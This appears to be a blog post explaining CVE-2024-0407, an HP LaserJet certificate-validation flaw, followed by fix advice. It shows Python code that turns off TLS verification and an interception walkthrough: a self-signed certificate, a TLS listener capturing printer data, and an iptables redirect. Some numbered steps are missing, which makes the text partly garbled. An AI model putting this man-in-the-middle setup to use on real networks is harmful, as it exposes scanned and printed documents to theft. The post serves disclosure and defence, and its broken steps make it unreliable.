CVE-2024-0407 - How HP Enterprise LaserJet Printers Leak Data If You Trust The Wrong Certificate

In early 2024, HP published a security advisory for its popular line of HP Enterprise LaserJet and Managed Printers. The issue, tracked as CVE-2024-0407, is an information disclosure vulnerability—and if you’re running these printers, you need to read this.

This post will break down CVE-2024-0407 in everyday language, show you what could go wrong, provide code snippets, and guide you to stay secure.

What Is CVE-2024-0407?

The issue revolves around how certain HP printers handle connections to other services—like cloud print, scan to email, remote management, etc.

Here’s the key problem:
When your printer makes those outbound connections, it’s supposed to validate the server’s certificate against a CA (Certificate Authority) list that *you* trust. But, due to this bug, the device *may have trusted these connections even if the certificate* wasn’t in the trusted CA store.

That means a malicious actor could, under the right circumstances, pose as a legitimate service, and the printer would trust *them*. Data sent over the connection—like print jobs, scanned documents, or sensitive network data—could leak.

The attacker creates a fake TLS certificate and presents it to the printer.

4. Because your printer isn’t actually verifying the CA store properly, it accepts the fake certificate—as if it were genuine.

Now the attacker can see all data the printer sends out!

*This is called a “man-in-the-middle” (MITM) scenario.*

What Printers Are At Risk?

Affected printers include many HP Enterprise LaserJet and Managed models. For a detailed and updated list, check the official HP advisory.

Vulnerable Functionality

Inside the printer’s firmware, an outbound connection might be handled something like this (simple Python pseudocode for clarity):

import ssl
import socket

# CA_STORE should be set to trusted root CAs
context = ssl.create_default_context(cafile='/path/to/ca_store.pem')

# The vulnerable code (conceptually) skips CA verification
def connect_to_service(host, port):
    # Bad: context.verify_mode gets switched off, or ca_store isn’t checked
    context.check_hostname = False   
    context.verify_mode = ssl.CERT_NONE  # This lets ANY certificate through
    
    with socket.create_connection((host, port)) as sock:
        with context.wrap_socket(sock, server_hostname=host) as ssock:
            ssock.sendall(b'some sensitive data')

In the actual printer firmware, the connection may just trust whatever cert is presented if the CA check fails!

Set up a rogue endpoint (with a self-signed cert).

- Redirect printer traffic to their machine using ARP spoofing/DNS poisoning.

Generate a Self-Signed Certificate:

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

Set Up a Listener (Python):

import ssl, socket

context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(certfile="cert.pem", keyfile="key.pem")

with socket.socket(socket.AF_INET, socket.SOCK_STREAM, ) as sock:
    sock.bind(('', 8443))
    sock.listen(5)
    with context.wrap_socket(sock, server_side=True) as ssock:
        conn, addr = ssock.accept()
        print(f'Connection from {addr}')
        data = conn.recv(1024)
        print(f'Received: {data}')

Redirect Printer Traffic to Attacker:

# On attacker machine, redirect the outgoing service domain to localhost
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443

*Now any connection from the printer, that should have failed due to wrong cert, will connect to the attacker’s service and leak data if the vulnerability is present!*

WARNING: This attack is illegal without permission. Use only in a test/lab environment.

## How To Fix/Protect Yourself

HP has released firmware updates to patch CVE-2024-0407, requiring that only verified certificates will be accepted.

- Update printer firmware now – the latest downloads are here. Make sure all your printers get the update.
- Audit your device's certificate store – import only trusted CA certificates, and do not leave defaults if your company policies require more strict security.
- Segregate printer network traffic – minimize exposure to untrusted networks/WiFi.

Final Thoughts

CVE-2024-0407 is a perfect example of why even “dumb” devices like printers need strong IT security oversight. An attacker doesn’t need full access if they can quietly siphon off sensitive information through your office hardware.

Update your firmware, and audit your printers! Don’t let bad certificate handling “print” out your organization's secrets.

*For more exclusive breakdowns and practical guides on real-world vulnerabilities, follow this blog!*

Timeline

Published on: 02/21/2024 01:15:07 UTC
Last modified on: 11/15/2024 18:35:31 UTC